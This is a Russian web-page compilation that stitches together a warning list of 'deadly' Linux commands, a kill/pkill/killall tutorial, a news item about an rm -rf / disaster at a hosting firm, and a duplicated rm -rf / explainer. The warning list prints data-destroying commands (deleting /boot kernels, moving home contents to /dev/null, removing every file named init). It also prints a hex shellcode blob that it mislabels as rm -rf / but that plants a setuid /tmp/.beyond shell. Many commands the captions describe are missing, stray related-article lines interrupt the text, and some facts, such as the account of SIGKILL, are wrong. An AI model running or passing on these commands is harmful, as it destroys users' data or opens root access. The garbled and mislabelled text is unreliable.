Уничтожить linux одной командой

Смертельные команды в Linux. Убиваем Linux через терминал

Если вы новичок в Linux, скорей всего вы встретите какого-нибудь «шутника» на фоуме или в чате, который подсунет вам какие-нибудь команды, которые могут испорить ваши файлы или даже целую систему.

Чтобы избежать этого, вот список опасных команд, от которых лучше держаться подальше:

Эта команда рекурсивно и насильно удалит все файлы в корневой директории.

char esp[] _attribute_ ((section(«.text»))) /* e.s.p
release */
= «\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68»
«\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99»
«\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7»
«\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56»
«\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31»
«\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69»
«\x6e\x2f\x73\x68\x00\x2d\x63\x00»
«cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;»;

Это шестнадцатиричная версия [rm -rf /], которая может сбить с толку даже продвинутых линуксоидов.

Эта команда уничтожит все файлы данного устройства.

Знаменитая форк-бомба, эта команда рекурсивно вызывает себя и пожирает системные процессы до тех пор, пока не закончатся все ресурсы. Это часто приводит к потере данных.

Эта команда записывает необработанные данные прямо в блоковые файлы(block special files), что может разрушить файловую систему.

Никогда ничего не вытягивайте и не запускайте из недостоверных источников.

/* /dev/null
mv /home/yourhomedirectory/* /dev/null

Эта команда отправит содержимое домашнего каталога в черную дыру; больше вы никогда не увидите этих файлов.

Эта команда заполнит раздел жетского диска рандомными данными

Эта команда сделает изменяемыми все файлы системы.

Удаляет все привилегии доступа всех юзеров кроме root.

Заполняет раздел жесткого диска символами «y».

Удалит ядро, Initrd , и файлы загрузчика (GRUB/LILO), необходимые для загрузки системы.

rm /boot/vmlinux
rm /boot/vmlinuz
rm /boot/vmlinux*
rm /boot/vmlinuz*

Удалит файлы ядра

rm /bin/init
cd / ; find -iname init -exec rm -rf <> \;

Удалит все файлы, содержащие в названии ‘init’, включая /sbin/init.

Существуют и другие опасные команды, если вы вспомните еще что-то, оставьте в комментариях 🙂

Источник

Как убить процесс Linux

Несмотря на то что Linux стабильнее чем Windows, в плане работы программ и различных сервисов, случается всякое и иногда возникает необходимость завершить процесс Linux. Это может понадобиться, если программа завила, когда вы запустили системный сервис в фоне через терминал, а не систему инициализации, а также во многих других случаях, когда убить процесс Linux проще, чем перезагружать всю систему.

В этой статье мы рассмотрим несколько самых распространенных способов завершить процесс Linux. Опишем подробно как происходит остановка процесса и как все сделать правильно.

Как происходит завершение процесса?

Управление процессами в операционной системе Linux осуществляется с помощью сигналов. В том числе и завершение любого процесса. Сигналы передает система, но также их может передавать пользователь с помощью специальных команд или даже сочетаний клавиш в терминале. Когда процессу приходит сигнал о необходимости завершиться, он должен выполнить некоторые подготовительные действия.

Необходимо завершить дочерние процессы, удалить временные файлы, сокеты и так далее. Но в зависимости от сложности ситуации процесс может реагировать не на все сигналы. Рассмотрим основные сигналы, которые используются для завершения процесса:

  • SIGINT — самый безобидный сигнал завершения, означает Interrupt. Он отправляется процессу, запущенному из терминала с помощью сочетания клавиш Ctrl+C. Процесс правильно завершает все свои действия и возвращает управление;
  • SIGQUIT — это еще один сигнал, который отправляется с помощью сочетания клавиш, программе, запущенной в терминале. Он сообщает ей что нужно завершиться и программа может выполнить корректное завершение или проигнорировать сигнал. В отличие от предыдущего, она генерирует дамп памяти. Сочетание клавиш Ctrl+/;
  • SIGHUP — сообщает процессу, что соединение с управляющим терминалом разорвано, отправляется, в основном, системой при разрыве соединения с интернетом;
  • SIGTERM — немедленно завершает процесс, но обрабатывается программой, поэтому позволяет ей завершить дочерние процессы и освободить все ресурсы;
  • SIGKILL — тоже немедленно завершает процесс, но, в отличие от предыдущего варианта, он не передается самому процессу, а обрабатывается ядром. Поэтому ресурсы и дочерние процессы остаются запущенными.
Читайте также:  Xerox phaser 3635 mfp драйвер сканера windows 10

Важно понимать, что нужно дать процессу возможность завершиться корректно. Желательно, чтобы порты и сокеты были освобождены, закрыты и удаленны временные файлы. Поэтому никогда не передавайте сразу SIGKILL. Передавайте сигналы завершения в последовательности, как они перечислены выше.

Сначала Ctrl+C, если это возможно, затем SIGTERM — он хоть и завершает процесс, но делает эту культурно, и только в крайнем случае SIGKILL. А теперь рассмотрим как убить процесс по pid Linux на практике. Если вы всегда используете SIGKILL, тогда на ум приходит такая картинка:

Как убить процесс Linux?

Для передачи сигналов процессам в Linux используется утилита kill. Ее синтаксис очень прост:

$ kill -сигнал pid_процесса

Сигнал представляет собой один из выше перечисленных сигналов для завершения процесса. По умолчанию, если этот параметр не указан, используется сигнал SIGTERM, что является очень правильно. Также нам нужно указать какой процесс нужно завершить. Для этого используется уникальный идентификатор процесса — PID.

Допустим, у нас выполняется утилита ping. Мы хотим ее завершить с помощью kill. Тогда, сначала мы узнаем ее идентификатор с помощью команды ps:

ps aux | grep ping

В первой строчке отобразится сама утилита ping, а во второй сама программа ps. Берем нужный PID и завершаем процесс с помощью SIGTERM:

kill -TERM 20446

И только если после этой команды процесс продолжил висеть, а это вы можете проверить, выполнив ps. Только теперь можно выполнить SIGKILL:

kill -KILL 20446

Теперь снова проверяем:

Если процесс запущен от суперпользователя, то, естественно, вам нужно использовать sudo. Не всегда удобно уничтожать процесс по его PID, как минимум, потому, что вам этот PID нужно еще узнать. Мы могли бы нагородить сложных конструкций с использованием xargs, чтобы вычислять автоматически pid по имени процесса и сразу же его завершать, но в этом нет необходимости. Уже существуют специальные утилиты.

Как завершить процесс с помощью pkill

Утилита pkill — это оболочка для kill, она ведет себя точно так же, и имеет тот же синтаксис, только в качестве идентификатора процесса ей нужно передать его имя. Утилита сканирует директорию proc и находит PID первого процесса с таким именем, затем отправляет ему SIGTERM. Таким образом, вы можете убить процесс по имени Linux. Например, если мы хотим завершить тот же ping:

Также можно вручную задать тип сигнала:

pkill -TERM ping

Вместо ps, вы можете использовать утилиту pgrep для поиска pid процесса, убедимся что наша программа завершена:

Но если вам программа создала несколько процессов, например, браузер chromium или firefox создают отдельный процесс для каждой из вкладок, то эта утилита мало чем поможет. Тут нужен следующий вариант.

Как остановить процесс с помощью killall

killall работает аналогично двум предыдущим утилитам. Она тоже приминает имя процесса в качестве параметра и ищет его PID в директории /proc. Но эта утилита обнаружит все процессы, с таким именем и завершит их. Например:

Как видите, запущено несколько процессов, осталось остановить процесс Linux с помощью killall:

Читайте также:  C windows system32 w32tm query source local cmos clock

Команда завершит все запущенные утилиты ping, вы можете убедиться в этом еще раз выполнив pgrep:

Выводы

В этой статье мы рассмотрели как убить процесс Linux. Иногда эта задача может быть очень полезной, но важно понимать, что ее нужно выполнять правильно. Нельзя сказать, что передача SIGKILL вместо SIGTERM очень опасна, но так делать не стоит. Надеюсь, эта информация была полезна для вас.

Источник

rm -rf: легкий способ уничтожить свой интернет-бизнес и свою репутацию

Одной командой владелец небольшого хостинг-провайдера удалил данные клиентов и бэкапы


Фото: independent.co.uk

На днях пользователь сайта Serverfault разместил на ресурсе интересный вопрос. Марко Марсала (Marco Marsala) спросил у других пользователей, можно ли после запуска команды rm -rf / оперативно восстановить данные. Как оказалось, Марсала является владельцем небольшой хостинг-компании, обслуживающей около 1500 клиентов. Для управления данными и автоматизации процессов он использовал Ansible.

В один из вечеров Марсала случайно ввел команду rm -rf / , запустив ее на всех серверах. Переменные / пользователь не задал. Изначально Марсала хотел удалить определенные директории на различных серверах, но из-за указанной выше проблемы удалилось все. При этом носители с бэкапами были подключены физически и подмонтированы, поэтому и эти данные были удалены.

Ответов на вопрос было много, и большинство из них указывали на невозможность возвращения всех файлов сколь-нибудь оперативно. Да, что-то восстановить можно, говорили комментаторы, но о восстановлении всех данных можно забыть. В одном из ответов Марко Марсала советовали забыть о восстановлении файлов и обратиться к юристу для предотвращения негативных последствий исковых заявлений клиентов, чьи сайты были уничтожены.

Некоторые комментаторы считают, что данные можно спасти, поскольку «rm -rf» просто помечает блоки данных, как пустые. И если поверх ничего не записывалось, в теории, восстановить можно почти все. Тем не менее, на восстановление понадобится много времени и денег.

Интересно, что два года назад на этом же ресурсе был задан аналогичный вопрос. Тогда за помощью обратился системный администратор, запустивший вот такую вот команду:

sudo rm -rf —no-preserve-root /mnt/hetznerbackup /

По словам незадачливого сисадмина, он осознал ошибку через несколько секунд, но было уже поздно, все данные потихоньку уничтожались. Тогда оказалось, что большинство важных данных были уничтожены, и восстановить их не удалось.

Что же, совет здесь может быть только один — делать бэкапы. Много бэкапов не бывает, при этом они должны храниться так, чтобы не быть случайно уничтоженными, как в этом случае.

UPD. Владелец обратился за помощью к компании, которая занимается восстановлением данных. Как оказалось, все файлы на месте. Но вот позволить себе восстановить эти файлы хостинг-провайдер не в состоянии — слишком большие требуются средства на проведение такой работы для дисков с 1500 серверов.

Источник

Как уничтожить Linux одной командой. Команда rm —rf /

Команда rm -rf / является довольно популярной в узких кругах. Но не потому, что ей постоянно пользуются, а наоборот. Это что-то вроде шутки у заядлых линуксоидов.

Видео: выполнение команды rm -rf / на реальной системе Linux

Все, что вы прочитаете ниже, написано только в информационных целях, не повторяйте этого на своем компьютере.

Команда rm -rf / , выполненная от имени суперпользователя, уничтожит все данные с корневого раздела диска.

Ключ -r используется для того, чтобы выполнять рекурсивный обход всех директорий.
Ключ -f — force — не запрашивать никаких подтверждений.

Если выполнить эту команду в терминале, а именно выполнить:

то появится предупреждение о том, что выполнение команды опасно:

Таким образом программа rm защищает сама себя от плохих действий. Но сразу же сообщает нам, что мы можем использовать ключ —no-preserve-root , чтобы обойти это предупреждение.

Читайте также:  Brick wall with windows

Если выполнить команду:

то все данные с корневого раздела диска будут удалены!

Иногда данная команда используется, чтобы «подшутить» над новичками в Linux. Некоторые пользователи на форумах советуют «чайникам» выполнить данную команду, чтобы решить свои проблемы. Чтобы шутка удалась, саму команду иногда маскируют, например, вставляют ее внутрь другой длинной команды, чтобы она не так выделялась.

Процесс работы rm -rf / примерно следующий:

  • Команда выполняется от имени суперпользователя.
  • Копия программы rm загружается в оперативную память.
  • Программа rm начинает удаление всех файлов с корневого раздела /.
  • Во время удаления файлов программа rm в какой-то момент удаляет и саму себя (исполняемый файл программы, файл /bin/rm). Но так как копия программы находится в оперативной памяти, то она продолжает работать, не смотря на то, что исполняемый файл уже удален.
  • Когда удаление файлов завершено, программа rm выгружается из оперативной памяти.
  • На данном этапе в памяти находятся только те программы, которые уже были там до выполнения команды rm (например, ядро, драйвера, окно терминала и так далее).

Очень важный момент, который нужно учитывать. Современные UEFI системы монтируют директорию с прошивками в директорию /sys. Так как rm удаляет все файлы и с примонтированных разделов, то прошивки также будут удалены. Таким образом можно получить не только неработающую систему, но и неработающий компьютер. Будьте внимательны.

Источник

Как уничтожить Linux одной командой. Команда rm -rf /

Команда rm -rf / является довольно популярной в узких кругах. Но не потому, что ей постоянно пользуются, а наоборот. Это что-то вроде шутки у заядлых линуксоидов.

Все, что вы прочитаете ниже, написано только в информационных целях, не повторяйте этого на своем компьютере.

Команда rm -rf /, выполненная от имени суперпользователя, уничтожит все данные с корневого раздела диска.

Ключ -r используется для того, чтобы выполнять рекурсивный обход всех директорий.
Ключ -f — force — не запрашивать никаких подтверждений.

Если выполнить эту команду в терминале, а именно выполнить:

то появится предупреждение о том, что выполнение команды опасно:

Таким образом программа rm защищает сама себя от плохих действий. Но сразу же сообщает нам, что мы можем использовать ключ —no-preserve-root, чтобы обойти это предупреждение.

Если выполнить команду:

то все данные с корневого раздела диска будут удалены!

Иногда данная команда используется, чтобы «подшутить» над новичками в Linux. Некоторые пользователи на форумах советуют «чайникам» выполнить данную команду, чтобы решить свои проблемы. Чтобы шутка удалась, саму команду иногда маскируют, например, вставляют ее внутрь другой длинной команды, чтобы она не так выделялась.

Процесс работы rm -rf / примерно следующий:

  • Команда выполняется от имени суперпользователя.
  • Копия программы rm загружается в оперативную память.
  • Программа rm начинает удаление всех файлов с корневого раздела /.
  • Во время удаления файлов программа rm в какой-то момент удаляет и саму себя (исполняемый файл программы, файл /bin/rm). Но так как копия программы находится в оперативной памяти, то она продолжает работать, не смотря на то, что исполняемый файл уже удален.
  • Когда удаление файлов завершено, программа rm выгружается из оперативной памяти.
  • На данном этапе в памяти находятся только те программы, которые уже были там до выполнения команды rm (например, ядро, драйвера, окно терминала и так далее).

Очень важный момент, который нужно учитывать. Современные UEFI системы монтируют директорию с прошивками в директорию /sys. Так как rm удаляет все файлы и с примонтированных разделов, то прошивки также будут удалены. Таким образом можно получить не только неработающую систему, но и неработающий компьютер. Будьте внимательны.

Источник

Оцените статью